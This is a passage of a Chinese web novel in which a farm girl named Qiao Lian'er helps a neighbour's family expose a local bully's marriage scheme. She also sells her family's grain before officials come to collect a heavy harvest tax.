“乔姑娘,你说得没错,就在昨天,那些人就到了我的酒楼,又是看账本又是记录的。” “幸好备了另一本账本,我把前面几年的账重新做了一遍,还专门把账本做旧,保管看不出痕迹来。” “不过乔姑娘你放心,你那些食材的价格,前面是多少就是多少,这些都没有变,不会影响到你。” 乔镰儿就知道,这些专门做生意的,可比她刁滑多了。 食材称好,蔡老板看了看:“有没有辣椒卖,干的来三百斤,鲜的来两百斤。” “在我们家吃饭的客人,习惯了有辣味,这几天没有辣椒,他们还有点不适应呢。” “有的,蔡老板你等一等。”乔镰儿又赶着马车离开。 等到了一处人少的地方停下来,乔吱吱跑下了马车。 “镰儿妹妹,我去那边买两个糖人。” 乔镰儿会心一笑,小丫头这是在给她留空间呢。 她把干辣椒和鲜辣椒准备好,乔吱吱就举着两个糖人过来了,一个是老虎,一个是狼。 乔镰儿舔着糖人,又把马车赶到了玖味楼的后头。 干辣椒是二十块钱一斤,鲜辣椒是十块钱一斤。 加上前面食材卖到的三十八两半,一共卖了四十六两半,半吊钱乔镰儿就大方抹去了。 今天的任务完成,乔镰儿又去看了一眼阿大他们。 厨房里收拾得整洁干净,橱柜里放着一些食材,还有一块五花肉,水缸里面装满了水。 柴房里,用掉的柴火也补充上了,看来这些孩子还会跑到山上去打柴。 孩子们的生活已经踏上了正轨。 “镰儿姐,最近也没啥,就是那些官差在到处登记门面的情况,也不知道他们要做啥。”阿大说。 “嗯,我知道了,我有一件事情交给你们去做。” “镰儿姐快吩咐,我们又有活儿干了。” “我要你们到处去传一个消息,说凌家村村霸史家,儿子是个傻子,娶不到媳妇,就想要强占民女,故意拿一个不值钱的瓷器给姑娘家的父亲下套,又狮子大开口,勒索五六十两银子,还不上就要那家人把姑娘给嫁过去,弄得姑娘家日子不得安生。” “有这样的事情,这不是畜生的行径吗?我们这就去把那家人好好收拾一顿。” 孩子们一听愤怒不已,简直是超出了做人的底线。 “不行,这不能解决问题。”乔镰儿说:“你们只管去传消息。” “传得越开越好,讨论度越大越好。” 这些,等到了公堂上,就是一股支援的力量。 第224章 大肉大酒准备好 “还有,你们注意观察着,如果看到那两姐弟和家人来告官,你们就带个头,带着大家一起去公堂外助阵,反正就在这几天。” 阿大马上明白过来了:“镰儿姐,那个被强抢的民女,是不是就是西街瓦市卖辣白菜的姐姐。” “你说的村霸,是不是刚才被我们打的那几个人,一个笑面虎,还有一个傻乎乎的。” 乔镰儿道:“是,但是你们只管做我交代你们做的事情,其他的不要管,我自有计划,免得被打乱。” “嗯,我们听话,那几个人不是好东西,我们一定要把那个姐姐给解救出来。” 凌音买了一背篓的肉,凌晓的怀中抱着一个大酒坛子。 史真乡这个样子,今天史家人是回不了家的,所以,不用担心坐到一辆马车上去。 两个人等在路边,要拦马车回去,乔镰儿的马车停在二人的身边。 “凌音姐,快上来吧。” 乔镰儿看了一眼凌音的背篓,起码有三十斤肉,很是舍得,要先把亲戚们招待好,让他们吃个痛快。 后面的事情才会好办。 该说的话已经说了,一路上,大家聊了点别的,收成啊,女红啊,村子里的一些趣事。 有了对未来的主意,又决定豁出去做,凌音全身心放松了许多。 她本来就是个开朗勇敢的,身上已经完全看不出被惊吓过的样子。 姐弟俩身上的东西重,乔镰儿坚持把他们送到了村路口。 “镰儿,还是去家里坐一坐吧,你帮了我的大忙,我煮饭招待你,做饭做早一点,这样你们赶回去天还没有黑。” 凌音拉着乔镰儿的手不放,目光隐隐带着殷切。 乔镰儿想了想,还是摇头。 “凌音姐,相信你自己,你能做到的。” 说到底,这是两家的纠葛,她不是这个村子的人,可以私底下出意见,但是光明正大地去干涉,不行。 她不仅仅是她自己,身后还站着乔家一家人。 帮别人可以,但是要在保全自身,不影响到家里人的前提下。 凌家亲戚,还有族亲那么多人,完全有能力应付好这件事。 看到乔镰儿黑眸里的稳沉,凌音的心又定了定,慢慢放开了她的手。 她承认,她的心中不是完全的有底,还是有那么一丝丝的不安。 毕竟,这是她第一次去做这种事情,还是影响她的人生,影响两家人的大事。 这是在向恶霸史家宣战。 “好,你等着我的好消息。” 凌音的家在村子的中间,秋氏也刚从镇子上卖辣白菜回来,又买了一大堆白菜,正在往叶片上撒盐。 一边忧心忡忡道:“辣椒是跟乔家低价买的,盐是自己买的,虽然辣白菜卖得好,但盐的成本太大,不说三个月了,怕就是用半年的时间也凑不够五十两。” 凌老三正在院子里刨木板做家具,除了上门给人做木工活,他自己也会做一些家具去街上卖。 出了那种事情,凌老三更是从早忙到晚,三更半夜才睡觉,眼下挂着两道乌青发黑的黑眼圈。 听到秋氏这样说,凌老三一阵头疼。 “娃他娘,多干活少抱怨,到时候凌家亲戚不借,你去娘家借去。” “不管咋样,都要凑够这五十两,把这一门账清了,要不然,真把人嫁过去,咱音丫头这辈子就毁了。” 想想史真乡那种样子,再想想史家人的德性,凌老三就懊恼不已。 他怎么就偏偏碰到了那个瓷器呢。 可他心头也恨家人,因为史老二放瓷器的时候是悄悄放的,他专心致志地干活,压根就不知道。 他怀疑,史家人是故意的。 凌音走到院子外面,没有忙着进去。 她绕到柴房后面的一个小屋子里,把背篓放下来。 “弟弟,你就在这里守着这些,我喊你的时候你再进来。” 要现在就把这么多肉,这么一大坛子酒放在爹娘的面前,他们不打死她才怪。 “嗯,大姐先去爹娘的面前说开。”凌晓很聪明地猜到了。 凌音这才走进院子。 “回来了,你弟弟呢。”秋氏往她身后看了一眼。 “弟弟上茅厕去了。” 凌音看着忙得焦头烂额的爹娘,一阵心疼。 为了不让她嫁到史家去,他们昼夜辛苦,每天只睡两个多时辰。 “爹,娘,我有事要跟你们说。” “说。”凌老三一边刨着木板,头也不抬。 凌音已经想好怎么组织语言:“我要去告官,我要去告史家人。” “啥。”两人都放下了手上的活儿,诧异地看着她。 “为啥去告官?”秋氏问。 “史家是啥样的人?那个瓷器真的值钱,他们会舍得放在危险的位置,又不提醒爹,让爹把瓷器打碎?” “还说是什么古董,肯定是骗人的,这是在给爹下套呢。” “他们用这件事情来威胁我们家,要我嫁给史真乡,这和强迫有什么区别?所以我要去告官,让县太老爷给我们凌家一个公道。” “县衙门里会请来专门的鉴定人,真古董还是假古董,有没有经过名家名窑的手,哪个年份烧制的,都能鉴定得出来。” 凌老三夫妻不是没有怀疑过那个瓷器的真假,只是当时史家人一口咬定那个瓷器是古董,还是开过光的,专门用来保护史家,要他们赔五十两,他们不得不接受这个结果。尛說Φ紋網 “万一是真的呢,万一真的值五十两?”凌老三皱着眉头问。 “就算是真的,我们照价赔了就是了,而且史真乡今天在街上被人废了,失去了生育能力,这样的人,县太爷也不会支持我嫁给他的。” “啥,史真乡被人废了?是真的吗?”夫妻两个听了很是震惊,随即,心中一阵大快。 史真乡那种样子,想到女儿可能要被迫嫁给他,他们就忍不住想把他打一顿,现在就听到这样的好消息了? 秋氏也不抹盐巴了,凌老三也不刨木板了。 再加上女儿说的这些话,他们感到事情在朝着对自家有利的方向发展。 生怕外面经过的人听到,秋氏赶紧把女儿拉进了屋子里。 “进屋子说。” 第225章 给我们史家当牛做马,是她本分 “今天我和弟弟在西街卖辣白菜,史老二,史老三,还有史真乡来捣乱,不让客人来跟我们买辣白菜,要败坏我们的口碑,让我们的生意没法做下去。” 凌老三的拳头一下子握起来了,咬牙道:“太过分了,他们这是在做啥,我们不是在努力挣钱给他们还债,他们还阻三阻四的,这是啥道理。” “然后就有一些打抱不平的义士冲出来,把他们几个痛打了一顿,还把史真乡给废了,史家三个人现在在县城医馆里,史真乡情况严重,是好不起来的。” “爹,娘,史真乡不但傻,以后也不会有儿有女,我更加不能嫁给他。”凌音说。 “而且,他们故意不让我们家赚钱,是打定了主意要我嫁过去,而不是要赔偿,这更是证明那个瓷器是假的,他们绝对舍不得拿一个贵重的瓷器来下套。” “还有,史家人跟人问亲,彩礼都出到三四十两了,可还是没有人家愿意把姑娘嫁给他们家的傻儿子,说明他们不是要钱,而是要人,就是冲着我们家来的。” “爹,那一次你给史家修神龛,他们家神龛真的坏了吗?” 凌老三好好想了一下,他冷笑:“是一个榫头坏了,重新给他家做榫头,但我看那个榫头像是故意砸坏的,一个神龛好好地摆着,平时都不让小孩乱碰,咋会突然就坏了。” “果然,一开始,就在等着我呢。” “可是去告官,我们势单力薄,哪里告得赢史家?还有,史家也未必会愿意把那个瓷器拿出来给官府鉴定,要是他们藏了起来,一口咬定值钱。”秋氏说。 虽然大家也都知道,那个被打碎的瓷器就放在史家的神龛上,每一个去史家的人,史家都要反复把这件事情拿出来说,像是故意加深人的印象一样。 “娘,我们家并不是势单力薄,还有大伯二伯四叔他们,还有邻家的宗亲,族亲。” “大家可以闯进去,把那个碎掉的瓷器夺走,带到官府去,官府会传唤他们史家人去对簿公堂,他们不得不去。” “你大伯二伯四叔他们你又不是不知道,就怕我们跟他们借钱呢,关系都疏远了许多。”凌老三心灰地摇头。ωww.xSZWω㈧.NēΤ 其实他知道哥哥弟弟们没那么狠心,如果是欠个几两十两的,大家都不至于躲着他们家,问题是五十两,这可是很多人家一辈子都攒不到的钱。 大家家里都不容易,拖着几个孩子,有的孩子还要念书。 “所以啊爹,咱们跟他们说明原委,把他们招待得好好的。” “我相信,知道我们家被下套了,好酒好肉地招待,还让他们知道,史家这样对待凌老三家的姑娘,也可能会这样对待他们家的姑娘,他们是肯和我们一起来面对这件事情的。” “把大伯二伯四叔他们,还有把以前走得近的旁系亲戚,爹的那些发小招待好了,大家一带动,这件事情能成。” 夫妻两个对视一眼,不得不说,这个办法是可行的。 以为他们家要赔那么多,亲戚敬而远之,现在古董很有可能是假的,是他们被下套算计了,史真乡还被惨废掉,每一桩每一件都有利于他们。 而且,史老二,史老三,还有史真乡都在县城,史家少了这些人,趁着空虚,现在不行动,还要等到什么时候? “赌一把。”凌老三说:“现在就去镇子上买肉买酒来。” 凌音一笑:“爹,不用去了,我和弟弟已经买来了。” 隔了一天,乔镰儿又赶着马车去县城,她还专门往县衙门前走了一趟,不过并没有看到什么动静。 看来,凌家人还在村子里张罗。 又打听好了史真乡待的那家医馆,她赶着马车往那里去,然后假装进去买药。 这家医馆很大,有病床给伤患休养。 史真乡的情况,必须来这样的医馆。 “大夫,求求你,真的没办法了吗?我就这么一个独苗苗,要是他废了,以后要咋娶妻生子啊。”史老二在求一个比较年长的坐堂大夫。 比起前天,史老二憔悴得像是老了十岁,头上都冒出了好多白发。 “他已经有了未婚妻,就等着日期到了成亲,你们快治好他,多一点医药费也不要紧。” 乔镰儿听得头皮发麻,史老二说的未婚妻,不会指的是凌音吧。 这就把人定死了,真是恐怖。 “我们已经尽力了,你们换到我们家已经是换过几家医馆了吧,几个经验丰富的大夫一起给你儿子治都治不好,还是放弃吧,这个是完全废掉了,再怎么治都无济于事,我们家都治不好,别家更加不可能治好。”坐堂大夫摇头说。 “有未婚妻了,你们就把亲事给退掉,别耽搁了人家的姑娘。” “退掉,怎么可能?就算我的儿子不能生了,她也得嫁给我的儿子,给我们史家当牛做马,给我养老送终,这是她的本分。” “要不是因为这个贱人,那些混子会打抱不平逞英雄,害了我的儿子?都怪她。” 史老二阴恻恻地说。 他已经想好,等到凌音过了门怎么折磨她,让她连着洗一晚上的衣服,跪着瓦砾洗,让她背一百多斤的柴火。 他真是个大聪明。 听了这些话,那个大夫有些惊骇地看了史老二一眼,似乎不明白为什么会有这样狠毒的人。 不过这是别人的家事,他也不想多插嘴,免得惹了这个一身戾气绝非善类的男人。 他当做没有听到,道:“这些年来,老大夫们积累的经验,还有医馆子最好的药都用上了,实在是没办法啊,你们另请高明吧。” 现在他只希望这个恶人赶紧带着那个残废滚出去。 这个时候就有些人在外面探头探脑。 “这就是想要强抢民女做儿媳的那个恶霸啊,呦,看起来就是个恶人。” “哎呀,好可怕,三白眼,又长又弯的鞋拔子脸,还黑,听说儿子也长差不多的样子。” “还好他的儿子被好心人砍废了,一辈子毁了,应该不会祸害那个姑娘了吧。” 史老二一听怒从心起,冲了出去:“哪个在说老子的坏话,有本事来单挑啊。 第226章 收粮是吧?家里的粮,全卖掉 那些人一哄而散。 史老二站在门口骂了一顿,愤愤不甘地回来。 “治,换地方继续治,你们医馆子无能,并不代表其他的大夫治不好。” 然后又去和史老三一起腾挪史真乡。 乔镰儿这会儿确定史真乡是真的废了,但看史老二不甘心的样子,应该还要在县城逗留几天,穷尽最后一丝希望把史真乡给治好。 反而给凌家争取了时机。 阿大他们也把消息给散播出去了,不时有人在这家医馆子附近徘徊,想要看史家的笑话。 刚才那些人跑了,又有一些人围上来。 她相信,等到那个时候,声势真的会起来。 乔镰儿瘦瘦小小的一个,又在柜台的侧边,被一面延伸出来的柜体挡着,所以史老二没有看到。 抓了一点头痛药,她就走了出来,又去了旁边的巷子里,马车停在那儿,乔吱吱守在车上等她。 “镰儿妹妹,这件事情稳妥了吗?” 乔镰儿点头:“只要凌家把他们家的那些亲戚搞定,基本上就妥当了。” 她来县城,不仅仅是为了看史真乡的情况,也是看看那些人的动静。 沿街铺子,茶楼酒肆,已经不怎么见那些人的身影,看来是统计差不多结束了。 等到八月二十号,会有更多的人马卷土重来,进行收割。 现在已经是八月初了,只剩下小半个月。 回到家里才到中午,刚刚赶上午饭。 马车里,准备了好些蔬菜水果,还有一百斤的玉针香,冯氏和乔云妮一袋袋一筐筐地搬下来。 万氏舀饭,玉针香浓郁的香味飘散在厨房里,真的就是那种沁到灵魂里的香。 自从前天尝过这种米饭,乔家人像是打开了新大陆。 蓬松香糯,油亮弹牙,绵软剔透,恨不得一顿吃上三碗。 再看其他大米,就像是缺少了一点什么。 家里收的庄稼,似乎没有那么香了,不再是那样的宝贝稀罕。 有时候,光顾着吃这种米饭,都快要忘记夹菜。 也不知道镰儿从哪里搞来的这种大米,也不去问,好吃就是了。 吃好饭,乔镰儿道:“奶,咱们家里的粮食,全部都卖了吧,留个两百斤。” 乔老太以为自己听错了:“啥,全卖了,就留这么一点?” 虽然现在家里有更好吃更香的大米,但庄稼就是庄稼,米饭就是米饭,是一家子生存的根本,哪怕比起刚上桌的这种大米口感要差很多,也不是说随便就要卖掉的。 哪天桌上的这种没了,买不到了,可不得靠着地里收到的庄稼。 “嗯奶,桌上现在吃的大米,我可以保证一直供应,还会有其他好吃的大米。” 在空间里,种植不受地域的限制,可以把五常大米,响水大米,蟹田大米这些都种上。 乔镰儿是觉得,那些人要来家里把大半的粮食都带走,还不如先卖掉。 留个两百斤,到时候他们来了带走一百斤,卖到的银子,都用在盖房子上,做好账本。 乔老太还是有点犹豫,家里辛辛苦苦盼了一年,盼来了这个收成,虽然现在有更好吃的,但要一下子卖掉那么多,她还是有点舍不得。 “奶,咱们家这段时间,要破财,破物消灾,等把稻谷卖了,我就用来购买其他盖房子需要的材料,把帐抹平。” 乔老太琢磨着,镰儿绝对不是一个迷信的人,一心想着破财消灾,难道这背后还有什么更深的缘由? 想想这个家里,自从听镰儿的以来,一直好运连连。 她将心一横:“好,明天是镇子上的街天,全部送去镇子上卖,也不脱壳了,就这样连壳带米地卖。” 这些稻谷在田里就干得差不多了,又被高秋烈阳晒了两天,可以卖了。 更好吃的可以源源不地地供应,有啥舍不得的,之所以不舍,不过是等今年的好收成等了很多年罢了。 脱壳的一斤五文钱,不脱壳的一斤三文钱。 自家的地,加上沈家赔的三亩地,收了三千两出头。 留二百斤在家里,另外的二千八百斤,可以卖到八两四。 听说家里要卖稻谷,大家都有点惊讶,但看到是乔镰儿的主意,乔老太也同意了,又听说那些好吃的大米以后都有。 大家就觉得,卖掉就卖掉吧。 昨天就有村里人家开始去镇子上卖粮,不过卖的不多,大半是要给家里人留作口粮的。 那些调查的人也知道农民会卖粮,并没有着意阻止,反正粮食流到哪一户人家都不要紧,到时候,都要缴一半上来。 第二天,乔家人把一袋袋粮食搬上马车,乔老太,乔云妮和乔镰儿一起去镇子上。 村里人看到了很惊讶。 “你们这是要去卖粮,这马车里的粮食有一千多斤吧。” “是的,我们想着,放在家里太占位置了,房子又没有盖起来,还是先拿去卖掉吧,到时候想吃了再买也是一样的,米价不贵。”乔镰儿说。 听起来很有道理,但是又觉得哪里不太对。 “哎呀,来来回回的,你们这也太折腾了吧。” “生活就是折腾嘛。”乔镰儿赶着马车走了。 那村里人站在原地,挠了挠头,乔家这么多张嘴巴,还要把大部分粮食都卖掉,又说要买回来,怪怪的。 好像是闲得无聊一样。 在古时候,并不是家家户户都种粮食,比如那些商户人家,还有的人家田地少,都需要买粮,以及那些粮商,也要买粮去出售。 所以,粮食买卖的市场还是很热闹的。 清水镇的南街,集中划分出来一个做瓦市的区域,蔬菜粮食猪肉等,都在这里售卖。 乔家的马车停下来了,看到他们搬下来一袋一袋的稻谷,立刻就有几个人围了上来。 “你们家的稻谷咋卖?”小說中文網 “市场价,三文钱一斤。”乔老太说。 有一个人抓起一把稻谷看了看,比其他家的要饱满一点,似乎受的虫害不算太严重。 “能不能少一点,现在是秋收季节,不少人都来镇子上卖稻谷。”即便如此,这些人还是想压价。 “不行,就要三文钱一斤,我们家稻谷比别家好,这个价已经很低了。”乔镰儿摇头说。 本来她想喊三两半,但又觉得算了,肯定是要讲下来的,不如直接一点好。 知道这个价的确是占了点便宜,有人就准备买下来,两三百斤地买。 沈老四也在这些人里,看着这些稻谷心中冷笑,有一部分,是沈家种出来的吧。 他对准备买的人使了个眼色。 第227章 就不卖给你沈老四 这几个买粮的,都是镇子上收购米面的商户,其中就有沈家。 他们之间相互认识,也很熟悉。 看到沈老四的暗示,那个想买粮的人就停下来。 毕竟,沈家的粮铺是几家粮铺里最赚钱的,沈家人也颇为精明。 沈老四对那几个商户说:“我们到一边商量一下。” “对,先商量一下,大娘,你们先等一等啊。”一个商户说。 然后他们就到一边去了,一边窃窃私语。 “这个沈老四,不知道要出啥馊主意,压价肯定是免不了的。”乔老太冷着脸说。 乔云妮:“是啊娘,咱们和沈家不对付,沈老四肯定不会愿意按照市场价跟咱们家买稻谷,这是联合别家压价呢,说不定等一下就来各种挑毛病了。” 虽然两家积怨很深,如果沈家好好地来做这个买卖,真金白银,以钱换物,这些稻子也还是会卖给他的。 但是现在,他在乔家人眼皮底子下光明正大搞动作。 乔镰儿就冷笑了一声:“沈老四,这稻子不卖给你,你用不着和别人商量。” “啥?你们到南街瓦市来卖粮食,不是谁都可以买?就因为和我们家处不来,你们就不卖给我了?这也未免太小肚鸡肠了吧。”沈老四悻悻道。 “对,就不卖给你家,你还能抢不成?” 乔镰儿无所谓被说成小肚鸡肠,跟这种人装什么大气? 她又看向其他的粮商:“叔叔伯伯们,你们也看到了我们家的稻谷要饱满一点,你们买了我家的,不仅仅可以拿去做米面,还可以卖种,做种子也比别家的好,这个价已经是让步了的,不可能再降价了,大不了我们多折腾一下,去县城里卖,很快就会卖光。” 那些人听她这样说,一个个都心动了。 是的,这些稻子拿去做种,都要长得比往些年份的好,肯定会卖得不错的。 沈老四还跟他们说,挑毛病压价压到一文钱一斤,他们就觉得这不现实。 再劣质的稻子,都不可能一文钱一斤,那也太作践庄稼了。 现在知道,沈老四家和这家人之间有矛盾,他们就明白沈老四为什么要挑唆他们这样做。 像这样的好稻子,三文钱一斤,的确有赚头,买! 于是,你三百斤我四百斤他五百斤地买。 沈老四看到稻谷被买空,不由得着急,像这样的种子,种到他家地里,会长出更加好的稻子,明年能赚更多的钱。 “你们别买完咯,给我留一千斤。” 他忙着扒开那些粮商,但来不及了,已经被买光了。 “家里还有一千多斤。”乔老太板着脸说:“等一下抢快一点。” 乔镰儿赶着马车回去了,一边想着,等到战事结束了,天下平稳了,空间里的米粮也可以拿出来卖。 在古时候,没有行之有效的灌溉工程,也没有南水北调,东水西调啥的,一有个旱灾,农田得不到灌溉,就要减收,而且总是大片大片地域受灾,这个时候,那些片区的人对粮食的需求量就很大。 粮食方便储存运输,而且放几年都可以,是可以做跨地域长线买卖的。 回家把一千多斤粮食装上马车,村里人看到了又大吃一惊。 “你们这是要把家里的粮食都卖完,天啦,卖完了你们吃啥?” “买着吃呗。”乔镰儿说:“占地方,先处理掉,吃一点买一点。” 村里人简直不敢相信,因为乔镰儿在大家的印象中,是个脑子好使有主见的,没想到却要把家里的粮食都卖掉,这不是在做蠢事吗? 这么多粮食,卖出去是按照批发价,买回来要贵一点,一来一去还亏了。 而且,这三千斤粮食,能有多占地方?袋子装起来一袋垒着一袋,也不过是院子的一大角。 “镰儿不愧是聪明过了头,做了蠢事吧。” 等乔家人的马车远去了,村里人讨论。 “我听说,有的人脑子是好使,但是有限度的,用完了,就变得跟普通人一样了,甚至连普通人都不如。” “是啊,你们还记得以前的镰儿不,就是个普普通通的丫头,后来不知道怎么的突然开了窍,给咱们大田村做了贡献,又给家里发家致富,大概是任务完成了,老天拿回了她的脑子。” “但也不至于变得这样……唉,这样傻吧,要做这种亏本的事情,乔家人还傻乎乎地听她的,这不是跟着乱造吗?万一把家产造光了咋办。” 这些讨论传到耳朵里,乔家人只当做没有听见,都是乡里乡亲的,大家只是不理解他们的行为罢了,也不是抱着什么恶意。 乔镰儿到了镇子上,更多的粮商围了上来,那些没有店铺的,在街边摊子倒卖粮食的,都在这里守着。 “小丫头,我来一百斤。” “我来三百斤。” 他们抢着,推搡着,争先恐后,生怕买不到。 看到这样的一幕,乔镰儿深刻感受到,好一点的种子,他们都这样疯抢,要是特别好的呢? 要是把空间里的拿出来呢? 但现在还不是时候,因为上头的就在盯着粮食,如果知道她这里有好粮,那么她的处境也会变得危险。 科技的影响如此巨大,她只是在丰收前的一个月,用了一点除虫害的农药,就让稻子产量增加,颗粒饱满,就像一下子缩短了一千年的进化一样。 不说那些受灾区,普通的种植区域,换上了新种,也会让产量大增,她不仅仅可以卖粮食,还能卖稻种,而且是全国性地卖,说不定还可以做周边国家的生意。 沈老四也在其中,好不容易挤到前面来:“给我留三百斤。” 有别人来买,能不卖给沈家就不卖给沈家,乔家人张罗着别的买主,谁也不搭理他。 就算是原属沈家地里头种出来的,他们用过一次药,也比沈家其他田里的收成好。尐説φ呅蛧 所以在大家的抢买下,新到的一千多斤粮食很快就卖光。 沈老四两手空空,看着其他人搬着粮食,心满意足离开,一脸的愤愤。 “太过分了吧,故意不卖给我,哪门子的道理?” “对啊,就不卖给你,谁叫你一开始就起了坏心思,你们沈家一个个不干人事。”乔老太鄙夷说。 乔镰儿赶着马车离开,懒得给他一个眼色。 想到这阵子沈家的米粮生意要受影响,沈老四气得一个倒仰。 还好,乔家就这么一点粮食,不会对他造成长期的打压。 他并不知道,乔镰儿在琢磨,等到北方事情结束了,就把沈家的铺子搞垮掉。 第228章 需要掩面去县城 对于乔镰儿来说,那些村子里恩恩怨怨的也就罢了,但是沈家弄出了扎小人这种事情,她也要把沈家往死里弄。 先让沈记粮铺存留一段时间吧,要不是沈老四在她面前闹一闹,她还忘记了省记粮铺的存在呢。 这阵子,每天起来,乔老头和乔老太都会给神龛上一炷香,祈求保佑乔家男人平安归来。 算算时间,他们也该在回来的路上了。 日子越是近了,越是让人觉得紧张,大家总是吃得不太香。 第二天乔镰儿又去县城,蔡老板那里还有一半的货,但看到她来了,还是补了一点,卖了二十两。 乔镰儿只给玖味楼供货的这段时间,酒楼的生意可火爆了,客人进进出出,几乎没有空桌。 而其他酒楼失去了食材来源,只能急得团团转。 “乔姑娘,那些酒楼的老板和掌柜都在找你呢,时不时就来问我,甚至还有威胁我的,哎哟,可把我怕死了。”蔡老板说道,脸上却是掩都掩不住的笑容。 他赚翻了。 那些老板掌柜都以为,是他把乔镰儿给藏起来了,或者他威胁这丫头只做他的生意,要不然能赚更多的钱,这丫头为什么不赚。 还有的说,他把这丫头给杀了,自己和外国商人对接,而那个外国商人本来就神秘,所以他们一直拿不到货。 越传越耸人听闻。 现在他走在路上都不安全,因为被人堵过,威胁他把货源交出来,不然就要对他的玖味楼下手。 所以,玖味楼里多收了一些杂役打手。 乔镰儿听蔡老板这样说,买了一块纱巾把脸围住,免得被那些老板认出来,到时候她就走不了了。 断人财路,如杀人父母啊。 她赶着马车往县衙门前经过,还是没有什么动静。 只不过,县城讨论凌家村恶霸的声音比昨天多了起来,茶楼酒肆,大街上,时不时就能听到关于这件事情的抨击和议论。 大家都觉得那样的恶霸该杀,该秋后问斩。 毕竟,老百姓对强抢民女这种事情,是深恶痛绝的。 不说史家的三四十两彩礼没人嫁了,就连皇上要大选妃嫔,民间都人心惶惶,尽快给女儿挑个好儿郎嫁出去,还有跑到街上拉郎配的,免得女儿一辈子暗无天日。 声势已经造得差不多了,就看凌家的进展了。 乔镰儿决定,她还是要去凌家村走一趟。 马车到了城门口,就看到经过的一辆马车里,好像坐着姐弟俩。 乔镰儿调转马头,一路跟到了西街瓦市。 两姐弟下了马车,秋氏也在,他们抱下来三个坛子,又把货摊木架和板子拿下来,给马车夫结了路费。 正准备摆摊,凌音听到有个熟悉的声音叫了她一声。 她回过头来,看到了蒙着面纱的乔镰儿,跟秋氏说了一下,就往这边过来。 乔镰儿察言观色,娘三个的神情好像不一样了,好像是遇到了一道难关,挂在心头上,但又有了比较有把握的解决之道。 “镰儿,你干嘛蒙着面呀?我都差点认不出来了。”凌音捂嘴笑。 “唉,我没那么多货卖给那些酒楼的老板,他们现在急得团团转,我这不怕他们来找我吗?” 乔镰儿把大红拴好,拉着凌音进了马车厢。 “凌音姐,事情怎么样了,你家的那些亲戚啥的,说服了他们没有。” 凌音眼里有光,点头:“大家都一致同意给我们家出头。” “吃了头一顿饭,听说我们家是被下套,那个古董很可能是假的,史真乡还被废了,大家都很生气,说我们凌家女儿不能被这样对待。” “然后,我大伯二伯四叔他们,又带着东西去说动其他亲戚发小,大家也很快答应了。” “那怎么到现在还——”乔镰儿不明白。 “我大伯说了,这种事情要定好日期,挑个吉日。” 乔镰儿:“……” 行吧,她忘了还有这讲究。 “也没有多久,过个三天,就去抢了那瓷器告上衙门。” 乔镰儿琢磨,快一点的话,大伯他们也是三天后回来。 “我二伯说了,史老二和史真乡都在县城,正好到时候要上衙门,就不让他们回去了,如果他们要回去就把他们打一顿,让他们继续待在医馆子,现在我的两个堂哥还有一个堂弟都在县城呢,就在那家医馆子附近,盯着史老二他们几个。” “好,干得不错。”乔镰儿感慨,人只要团结起来,力量真的是大。 凌音姐弟本来担心,经过了上次的事情,会不会影响今天的生意。 可是没想到,知道他们被恶霸欺负,反而有更多的人来跟他们买辣白菜。 三个人恨不得手脚并用,都有点忙不过来。 不少人对他们嘘寒问暖,告诉他们不要怕,实在不行就去告官,整个县城的百姓都支持他们,县太爷也会给他们公道。 母女三个的眼睛都有些发红,这一份人间温情,实在是太让人感动。 都是素昧相识的陌生人,却有这样的心意。 辣白菜很快卖光了,秋氏问凌音:“音丫头,刚才那个蒙面的小娃子,是不是乔家姑娘。” 她瞅着身形像,只是蒙着面纱,这里又要忙开了,就没有过去问。 “是呢娘,镰儿妹妹也很关心我呢。” 秋氏又道:“这个主意,是不是她给你出的。” “娘,你为啥这样说啊。” 秋氏笑了:“娘生你养你,还不明白你啊,这样的法子,肯定是有人给你支招。” 她的女儿是个直性子,可是这个办法绕来绕去的,这其中,还有对人心的洞察和笼络。小說中文網 凌音知道瞒不住她娘,点头:“娘,是镰儿妹妹的主意,镰儿妹妹要把我从那水深火热中救出来,是我的恩人,是我们全家的恩人,娘千万不要把这件事情告诉别人,免得给乔家惹祸。” 特别是史家,一定会记恨乔家,从而两家结仇结怨。 “我当然不会说,哪里能连累恩人的。”秋氏感慨:“音丫头,以后你要把镰儿当成亲妹妹看。” 乔镰儿给大街上转了一圈,买了一堆东西,成衣鞋子,肉类海鲜,杂七杂八的啥都有,还给伯母们和娘挑了一些首饰。 哪有女人不爱首饰的呢,别看她们平时干活不戴,去镇子上赶集的时候,可是把有的首饰都戴上呢。 前面有一个人骑马而来,是往出城的方向去,乔镰儿看清了对方的脸,就勒住了马匹,叫了一声“方叔叔”。 第229章 国库亏空收重税是因为—— 方泓盯着那个蒙面的小人儿瞅了几下,才认得出来是乔镰儿。 他下了马来。 “乔姑娘,不知道你在县城。” “嗯,我来买点东西,方叔叔,你这是要去哪啊。” “我要回京——连州了,两位公子正在等我回去。” “方叔叔,方便借一步说话吗?” 就是方泓下意识脱口的一个字,乔镰儿确定,裴祝锦和裴时玖是京城的人。 既然是那里的人,肯定掌握了更多有效的信息。 方泓有点犹豫,但还是点了头。 寻一家茶楼,把马儿在后棚拴好,乔镰儿选了一个比较僻静的位置。 “方叔叔,这一顿我请你。” “咳,你这丫头,我这么大一个人了,怎么好意思让你请,你把最爱喝的茶,最爱吃的小吃都点上,包在我的身上。”方泓很大方地说。 “好啊,那我就不跟方叔叔客气了。”乔镰儿还真的放开手脚点了几样。 像这类人不缺钱,不会计较这些,但是跟他们熟络一点,会更容易获取信息。 方泓见她没有把她当成外人,不由得多了两分好感。 “小丫头,我要赶时间,不想弯来绕去的,你有啥想说的,直接说。” “方叔叔,你这一次走,就不会再来了吧。”乔镰儿看到方泓的马背上驮着行囊。 “嗯,如果没有特别交代的事,基本上不会到这里来了,公子交给我的任务我也已经完成。” 上次去了大田村一趟,他又在县城里逗留了些时日,就是为了看巡粮司统计的进展。 各个村落,各个铺子门面都统计得差不多了,八月二十号以后,会继续按照规定好的流程进行。 “那封信我看了,方叔叔也知道上面是什么内容吧。” “是的,我都知道,不用看我也知道,大公子写信来提醒乔姑娘,但也只能救乔姑娘一个,在大局面前,二位公子都是无能为力。”方泓有些感慨。 民间疾苦,他不想看到,两位公子更不想看到,可是又有什么办法呢。 但是在这样的滔滔洪流之下,每一个人,不管是高门贵族,还是民间百姓,都不过是一粒被裹挟的沙子而已。 “我知道呢,两位公子是有仁心的,写信给我,我感激不尽。” “我想问方叔叔,朝廷亏空已经到了如此地步,竟然要十税五,这可以说是历朝历代少有的重税了。” 这是乔镰儿想不明白的事情,再怎么亏空也不至此吧,十税五,简直是逼反,难道朝廷就完全没有这个顾虑吗? 